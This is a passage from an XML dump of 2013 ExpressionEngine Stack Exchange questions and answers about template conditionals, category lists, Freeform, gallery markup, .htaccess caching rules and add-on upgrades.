AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13685" PostTypeId="2" ParentId="13632" CreationDate="2013-09-11T16:35:01.853" Score="2" Body="&lt;p&gt;This sounds very similar to another post, &lt;a href=&quot;https://expressionengine.stackexchange.com/q/1615/22&quot;&gt;Characters are being re-encoded in control panel&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in your &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; file. Do you have &lt;code&gt;$config['global_xss_filtering']&lt;/code&gt; set to TRUE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;should&lt;/em&gt; look like this in your config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;|--------------------------------------------------------------------------&#xA;| Global XSS Filtering&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Determines whether the XSS filter is always active when GET, POST or&#xA;| COOKIE data is encountered&#xA;|&#xA;*/&#xA;$config['global_xss_filtering'] = FALSE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-09-11T16:35:01.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13686" PostTypeId="1" CreationDate="2013-09-11T16:51:27.423" Score="4" ViewCount="398" Body="&lt;p&gt;We have a Freeform field for uploading files to an EE directory.  However, it appears there’s no way in EE to allow for Guests to upload to a directory?  Under File Upload Preferences we can see each of the Member Groups we’ve created but there is simply no option present for Guests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?  Is there any way to simply define an upload path manually for the field as opposed to being forced to select one of the directories created under File Upload Preferences?&lt;/p&gt;&#xA;" OwnerUserId="1454" LastActivityDate="2013-09-12T03:30:08.027" Title="Allow Guests to Upload to Directory?" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13687" PostTypeId="1" AcceptedAnswerId="13733" CreationDate="2013-09-11T18:14:42.347" Score="0" ViewCount="147" Body="&lt;p&gt;I am using the following code to display an inline list of regions from a categories list for a product entry. The backspace isn't working at all, no matter how I change my code around. I will post a couple of the combinations I tried. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Region: &#xA;    {categories show_group=&quot;9&quot; style=&quot;linear&quot; backspace=&quot;7&quot;}&#xA;        &amp;lt;a href=&quot;{path=/products}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;,&amp;amp;nbsp;&#xA;    {/categories}&#xA;    &amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as well as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Region: &#xA;    {categories show_group=&quot;9&quot; style=&quot;linear&quot; backspace=&quot;7&quot;}&#xA;        &amp;lt;a href=&quot;{path=/products}&quot;&amp;gt;{category_name},&amp;amp;nbsp;&amp;lt;/a&amp;gt;&#xA;    {/categories}&#xA;    &amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this one with a , and regular space afterwards&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Region: &#xA;    {categories show_group=&quot;9&quot; style=&quot;linear&quot; backspace=&quot;2&quot;}&#xA;        &amp;lt;a href=&quot;{path=/products}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;, &#xA;    {/categories}&#xA;    &amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read a few posts on the ellislabs forums related to this...which is why I have a few combinations, but nothing is working. I am using EE 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2013-09-12T18:34:13.843" Title="Categories variable pair not backspacing at all" Tags="|categories|list|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13688" PostTypeId="2" ParentId="13670" CreationDate="2013-09-11T18:17:31.377" Score="-1" Body="&lt;p&gt;Best solution ever worked is &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE-Cache&lt;/a&gt;! Also, try to adjust your .htaccess file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DirectoryIndex index.php&#xA;    AddDefaultCharset UTF-8&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;&#xA;     Options +FollowSymLinks&#xA;        RewriteEngine on&#xA;        #RewriteBase /subdirectory/&#xA;&#xA;    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;&#xA;    RewriteCond %{REQUEST_URI} !^/(media)/&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteCond %{REQUEST_FILENAME} !-l&#xA;    RewriteRule (.*) /index.php?/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;    #------------------- remove trailing slash -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteRule ^(.+)/$ /$1 [R=301,L,QSA]&#xA;&#xA;    #------------------- index.php -------------------&#xA;    #strip index.php from the URL if that is all that is given&#xA;    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.php\ HTTP/&#xA;    RewriteRule ^(([^/]+/)*)index\.php$ http://%{HTTP_HOST}/ [R=301,NS,L,QSA]&#xA;    #strip index.php/* from the URL&#xA;    RewriteCond %{THE_REQUEST} ^[^/]*/index\.php/ [NC]&#xA;    RewriteRule ^index\.php/(.+) http://%{HTTP_HOST}/$1 [R=301,L,QSA]&#xA;    #------DESABLE if not USING CE-CACHE------&#xA;    #------------------- CE Cache Static Driver -------------------&#xA;    RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;    RewriteCond %{QUERY_STRING} !ACT|URL [NC]&#xA;    RewriteCond %{REQUEST_METHOD} !=POST [NC]&#xA;    RewriteCond %{DOCUMENT_ROOT}/static/ce_cache/08e5d9/static%{REQUEST_URI}/index\.html -f [NC]&#xA;    RewriteRule (.*) /_static_cache_handler.php%{REQUEST_URI}/index\.html [L,QSA]&#xA;&#xA;    #------------------- EE -------------------&#xA;    #rewrite all non-image/js/css urls back to index.php if they are not files or directories&#xA;    RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;IfModule mod_php5.c&amp;gt;&#xA;    php_value memory_limit 128M&#xA;    php_value max_execution_time 10000&#xA;    php_flag magic_quotes_gpc off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;    SecFilterEngine Off&#xA;    SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_ssl.c&amp;gt;&#xA;    SSLOptions StdEnvVars&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;    ExpiresDefault &quot;access plus 1 year&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;    ExpiresActive On&#xA;    ExpiresDefault &quot;access plus 10 days&quot;&#xA;    ExpiresByType text/css &quot;access plus 1 week&quot;&#xA;    ExpiresByType text/plain &quot;access plus 1 month&quot;&#xA;    ExpiresByType image/gif &quot;access plus 1 month&quot;&#xA;    ExpiresByType image/png &quot;access plus 1 month&quot;&#xA;    ExpiresByType image/jpeg &quot;access plus 1 month&quot;&#xA;    ExpiresByType application/x-javascript &quot;access plus 1 month&quot;&#xA;    ExpiresByType application/javascript &quot;access plus 1 week&quot;&#xA;    ExpiresByType application/x-icon &quot;access plus 1 year&quot;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# compress text, html, javascript, css, xml:&#xA;AddOutputFilterByType DEFLATE text/plain&#xA;AddOutputFilterByType DEFLATE text/html&#xA;AddOutputFilterByType DEFLATE text/xml&#xA;AddOutputFilterByType DEFLATE text/css&#xA;AddOutputFilterByType DEFLATE application/xml&#xA;AddOutputFilterByType DEFLATE application/xhtml+xml&#xA;AddOutputFilterByType DEFLATE application/rss+xml&#xA;AddOutputFilterByType DEFLATE application/javascript&#xA;AddOutputFilterByType DEFLATE application/x-javascript&#xA;&#xA;# Or, compress certain file types by extension:&#xA;&amp;lt;files *.html&amp;gt;&#xA;SetOutputFilter DEFLATE&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;ifModule mod_gzip.c&amp;gt;&#xA;mod_gzip_on Yes&#xA;mod_gzip_dechunk Yes&#xA;mod_gzip_item_include file .(html?|txt|css|js|php|pl)$&#xA;mod_gzip_item_include handler ^cgi-script$&#xA;mod_gzip_item_include mime ^text/.*&#xA;mod_gzip_item_include mime ^application/x-javascript.*&#xA;mod_gzip_item_exclude mime ^image/.*&#xA;mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xA;&amp;lt;/ifModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uninstall modules you don't use!!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without CE-Cache your pages should fly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out: &lt;a href=&quot;http://www.bestfurniturebuy.com&quot; rel=&quot;nofollow&quot;&gt;Recent Project(still in development)&lt;/a&gt; At the bottom you will see loading time.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2013-09-11T18:25:38.100" LastActivityDate="2013-09-11T18:25:38.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13689" PostTypeId="2" ParentId="13640" CreationDate="2013-09-11T18:37:28.883" Score="-1" Body="&lt;p&gt;I would suggest forgetting about CartThrob and going with Brilliantretail.&#xA;I made few sites with ease! With color/size/style etc selection you can use sku number and so easy!&#xA;Their new and improved filtering system can be compared to overstock or amazon. Response time on page load with tons of products under 1 sec.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2013-09-11T18:37:28.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13690" PostTypeId="1" CreationDate="2013-09-11T18:54:42.987" Score="0" ViewCount="79" Body="&lt;p&gt;I have a header snippet that includes a &quot;Made in USA&quot; image on it. Well the client now wants the image removed on a couple product pages. I setup an advanced conditional to check for those pages using the third url segment. It worked if I kept the conditional simple, but as soon as I added an &quot;OR&quot; it stopped working. I thought it was probably a parse order issue, so I installed the Croxton If/Else plugin. Implemented that and I still have the same problem. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't Work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3!=&quot;product1&quot; OR segment_3!=&quot;product2&quot;}&#xA;&amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't Work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;{if segment_3!='product1' OR segment_3!='product2&quot;}&#xA;&amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't Work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;{if segment_3!=&quot;product1&quot;}&#xA;&amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{if:elseif segment_3!=&quot;product2&quot;}&#xA;&amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if segment_3!=&quot;product1&quot;}&#xA;&amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-09-11T20:51:05.783" Title="Is this a parsing issue with advanced conditionals?" Tags="|conditionals|parse-order|ifelse|advanced-conditionals|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13691" PostTypeId="2" ParentId="13683" CreationDate="2013-09-11T18:56:55.997" Score="2" Body="&lt;p&gt;I figured out the answer to this problem, and it's a ridiculous little bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When giving gift certificates in the control panel, you can leave off the member ID of the user you want to give the certificate to.  If you do this, the certificate disappears into some void, and never shows up in the CP list of gift certificates.  It does, however, remain in the database with a member ID of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, apparently, the value of the earliest un-assigned gift certificate shows up when the {exp:cartthrob_gift_certificates:applied} tag is used.  That value isn't applied to the cart total, but it does show up if you're showing users what their gift certificate value is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps if anyone else runs into it.&lt;/p&gt;&#xA;" OwnerUserId="364" LastActivityDate="2013-09-11T18:56:55.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13692" PostTypeId="2" ParentId="13690" CreationDate="2013-09-11T18:57:20.247" Score="1" Body="&lt;p&gt;this ended up working...Not sure why the If:Else plugin wasn't working though.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3!=&quot;product1&quot;}&#xA;    {if segment_3!=&quot;product2&quot;}&#xA;    &amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-09-11T18:57:20.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13693" PostTypeId="1" AcceptedAnswerId="13705" CreationDate="2013-09-11T19:22:09.660" Score="4" ViewCount="279" Body="&lt;p&gt;Is it possible to include category names in keyword simple search?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;products&quot; result_page=&quot;search/results&quot; no_result_page=&quot;search/no_results&quot; search_in=&quot;everywhere&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; class=&quot;fl&quot;  id=&quot;search&quot; value=&quot;Search...&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;&quot; class=&quot;fl&quot;/&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If my category name was Hats, if you searched for Hats you would get the results from the Hats category&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-09-12T10:26:20.930" Title="Include category in keyword simple search" Tags="|categories|search|" AnswerCount="2" CommentCount="2" ClosedDate="2013-10-30T18:28:56.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="13694" PostTypeId="1" CreationDate="2013-09-11T19:39:15.897" Score="0" ViewCount="269" Body="&lt;p&gt;I'm having a problem with the Content Elements {gallery} function where I would like to take a group of images and put them into a gallery, but display one main image which when clicked opens up into a fancybox gallery.  The current code I'm using that works is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if Custom_channel_field}&#xA; {!-- HANDLE SCALING / DISPLAY OF MAIN ARTICLE IMAGE --}&#xA;     {Custom_channel_field offset=&quot;1&quot;}&#xA;         {exp:ce_img:pair disable_xss_check=&quot;yes&quot; src=&quot;{image}&quot; max=&quot;500&quot;  quality=&quot;90&quot; allow_scale_larger=&quot;yes&quot;}&#xA;            &amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;{image}&quot; title=&quot;{caption} {if notes}({notes}){/if}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            {/exp:ce_img:pair}&#xA;     {/Custom_channel_field}&#xA;&#xA; {!-- PREPARE IMAGES FOR THE IMAGE GALLERY --}&#xA;       {Custom_channel_field}&#xA;         {if row_count == 1}&#xA;            &amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;{image}&quot; title=&quot;{caption} {if notes}({notes}){/if}&quot;&amp;gt;{exp:ce_img:single src=&quot;{image}&quot; disable_xss_check=&quot;yes&quot; width=&quot;500&quot; quality=&quot;90&quot; allow_scale_larger=&quot;yes&quot; class=&quot;photo&quot;}&#xA;              {if total_rows &amp;gt; &quot;1&quot;}&amp;lt;p&amp;gt;Image Gallery ({total_rows} Images)&amp;lt;/p&amp;gt;{/if}&#xA;            &amp;lt;/a&amp;gt;&#xA;         {/if}&#xA;       {/Custom_channel_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so that works fine, but with the change to using Content Elements I'm confused.  I can get all of the images to show using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Content Element GALLERY --}      &#xA; {gallery}&#xA;   {if element_name==&quot;galleryname&quot;}&#xA;&#xA;{!-- HANDLE SCALING / DISPLAY OF MAIN IMAGE --}&#xA;     {images}&#xA;         &amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;{image}&quot; title=&quot;{caption}&quot;&amp;gt;&#xA;           {exp:ce_img:single src=&quot;{image}&quot; disable_xss_check=&quot;yes&quot; width=&quot;500&quot; quality=&quot;90&quot; allow_scale_larger=&quot;yes&quot; class=&quot;photo&quot;} {if total_rows &amp;gt; &quot;1&quot;}&amp;lt;p&amp;gt;Image Gallery ({total_rows} Images)&amp;lt;/p&amp;gt;{/if}&amp;lt;/a&amp;gt; &#xA;     {/images} &#xA;&#xA;  {/if}&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when this runs it spits out HTML that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image1.jpg&quot; title=&quot;pic1&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;the_image1.jpg&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;333&quot; alt=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image2.jpg&quot; title=&quot;pic2&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;the_image2.jpg&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;600&quot; alt=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image3.jpg&quot; title=&quot;pic3&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;the_image3.jpg&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;600&quot; alt=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image4.jpg&quot; title=&quot;pic4&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;the_image4.jpg&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;500&quot; alt=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, all of the images are displaying on the page at once and within a fancybox gallery that is linked to each other.   Now where I'd like to get is where one of the images is displayed and the others display on a click to the gallery.   Such as this HTML:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image1.jpg&quot; title=&quot;pic1&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image2.jpg&quot; title=&quot;pic2&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image3.jpg&quot; title=&quot;pic3&quot;&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&#xA;&amp;lt;a class=&quot;fancybox-buttons&quot; data-fancybox-group=&quot;button&quot; href=&quot;the_image4.jpg&quot; title=&quot;pic4&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;the_image4.jpg&quot; class=&quot;photo&quot; width=&quot;500&quot; height=&quot;500&quot; alt=&quot;&quot; /&amp;gt; &#xA;&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which when I manually edit the HTML in Firebug displays exactly what I'm trying to achieve.  I have contacted KREA (creators of Content Elements) about this same issue and received an email that replied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery}&#xA;&#xA;{if element_name == &quot;maingallery&quot;}&#xA;&#xA;...here goes your code...&#xA;&#xA;{/if}&#xA;&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm sure there has to be more to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any feedback and suggestions of how I can properly get to this point are much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="337" LastEditorUserId="337" LastEditDate="2013-09-11T20:26:15.580" LastActivityDate="2013-10-21T02:28:34.607" Title="Moving to Content Elements from CE IMG, Matrix and fancybox?" Tags="|matrix|pixelandtonic|ce-image|image-galleries|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13695" PostTypeId="1" AcceptedAnswerId="13708" CreationDate="2013-09-11T20:05:53.537" Score="0" ViewCount="257" Body="&lt;p&gt;I upgraded to EE v2.7 and am running into some issues with FreeForm. I am running the latest version of FreeForm v4.0.12&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't add new fields in the CMS. Whenever I submit a new field form I am taken to the CMS home screen and the field isn't added.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I can't submit forms on the front-end website. I receive the error message 'You are not authorized to perform this action - Reason: Secure Forms Timeout'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="944" LastActivityDate="2013-09-12T02:56:01.860" Title="Freeform - Errors - Can't Create New Fields or Submit Forms" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13696" PostTypeId="2" ParentId="13690" CreationDate="2013-09-11T20:51:05.783" Score="2" Body="&lt;p&gt;I saw you already find a solution, but I think you should know the reason your code wasn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your conditional will never work... Ooops! Please, forgive me. Your conditional will &lt;strong&gt;always&lt;/strong&gt; work because &lt;code&gt;&quot;product1&quot; != &quot;product2&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will always evaluate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3!=&quot;product1&quot; OR segment_3!=&quot;product2&quot;}&#xA;    &amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For this code to work, you'll need an &quot;AND&quot;, not an &quot;OR&quot;. So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3!=&quot;product1&quot; AND segment_3!=&quot;product2&quot;}&#xA;    &amp;lt;img src=&quot;/images/styles/madeinusa.png&quot; class=&quot;madeinusa&quot;/&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's really better to split this into two conditionals if your code prevents some module parsing.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-11T20:51:05.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13697" PostTypeId="2" ParentId="13671" CreationDate="2013-09-11T21:26:03.143" Score="1" Body="&lt;p&gt;I can confirm that after following Justin's instructions in: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/google-maps/viewthread/10492&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/google-maps/viewthread/10492&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And adding geocode=&quot;false&quot; to exp:gmap:marker the issue was resolved.&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2013-09-11T21:26:03.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13698" PostTypeId="1" CreationDate="2013-09-11T22:50:05.350" Score="1" ViewCount="593" Body="&lt;p&gt;Here's what I am trying to accomplish in EE 2.5.5. I have 2 channels; blog article and author. The author channel is pulled in via Relationship Field in the blog article channel. I then have the blog pages which correctly display the authors name and link out the the authors profile page, no issues. The issue is that I cannot figure out how to display &lt;em&gt;only&lt;/em&gt; that author's blog posts on the authors profile page. In other words I cannot figure a way to filter the list of blog articles by the author relationship field per each authors bio page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to filter relationship fields by the channel entries search parameter? Can I do this with reverse related entries? Can I do this easily with the Playa addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit - here's the code I'm currently using, currently this displays &quot;Some articles: John Doe&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:channel:entries channel=&quot;authors&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{reverse_related_entries channel=&quot;blog&quot; orderby=&quot;entry_date&quot; sort=&quot;desc&quot; limit=&quot;100&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if no_reverse_related_entries}&#xA;     No Articles&#xA;   {/if}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Some articles:&#xA;&#xA;{article_title}&#xA;{article_header_image}&#xA;{article_content}&#xA;{title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/reverse_related_entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2041" LastEditorUserId="2041" LastEditDate="2013-09-12T03:02:29.650" LastActivityDate="2013-10-12T03:57:46.907" Title="How can I filter entries via relationship field? Is Playa the answer?" Tags="|channel-entries|playa|filter|v2.5.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13699" PostTypeId="1" AcceptedAnswerId="16662" CreationDate="2013-09-11T22:51:59.667" Score="2" ViewCount="295" Body="&lt;p&gt;I am running EE2.6.1 and want to upgrade my Playa addon from version 4.1.0.3 to 4.4.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was running into the same errors as posted previously &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9687/site-failing-after-update-to-playa-4-4-2&quot;&gt;here&lt;/a&gt;, then reverted back to the previous Playa version and tried again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked locally, but not on my production install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the upgrade instructions by replacing both folders and going through Add-Ons &gt; Fieldtypes &gt; Playa to run the upgrade script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I examined the database through phpMyAdmin, I could not find any column &lt;code&gt;parent_is_draft&lt;/code&gt; in either database - local or production. However, the local EE install 